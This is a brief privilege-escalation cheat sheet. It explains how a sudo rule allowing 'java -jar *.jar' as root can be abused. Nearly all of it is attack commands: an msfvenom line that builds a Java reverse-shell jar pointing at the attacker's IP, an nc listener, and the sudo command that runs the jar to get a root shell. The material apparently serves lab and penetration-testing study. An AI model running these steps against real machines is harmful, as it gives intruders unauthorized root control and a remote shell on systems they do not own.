Investigation

sudo -l

(root) /usr/bin/java -jar *.jar

If we can execute java command with arbitrary .jar file as root, we can escalate to privileges.

Exploitation

1. Create a JAR File

First, create a custom jar file in local machine.
Replace <local-ip> with your local ip address.

msfvenom -p java/shell_reverse_tcp LHOST=<local-ip> LPORT=4444 -f jar -o shell.jar

Then transfer the file to remote machine.

2. Reverse Shell

In local machine, start a listener.

nc -lvnp 4444

Now execute the java command as root in target machine.

sudo /usr/bin/java -jar /tmp/shell.jar

We should get a root shell.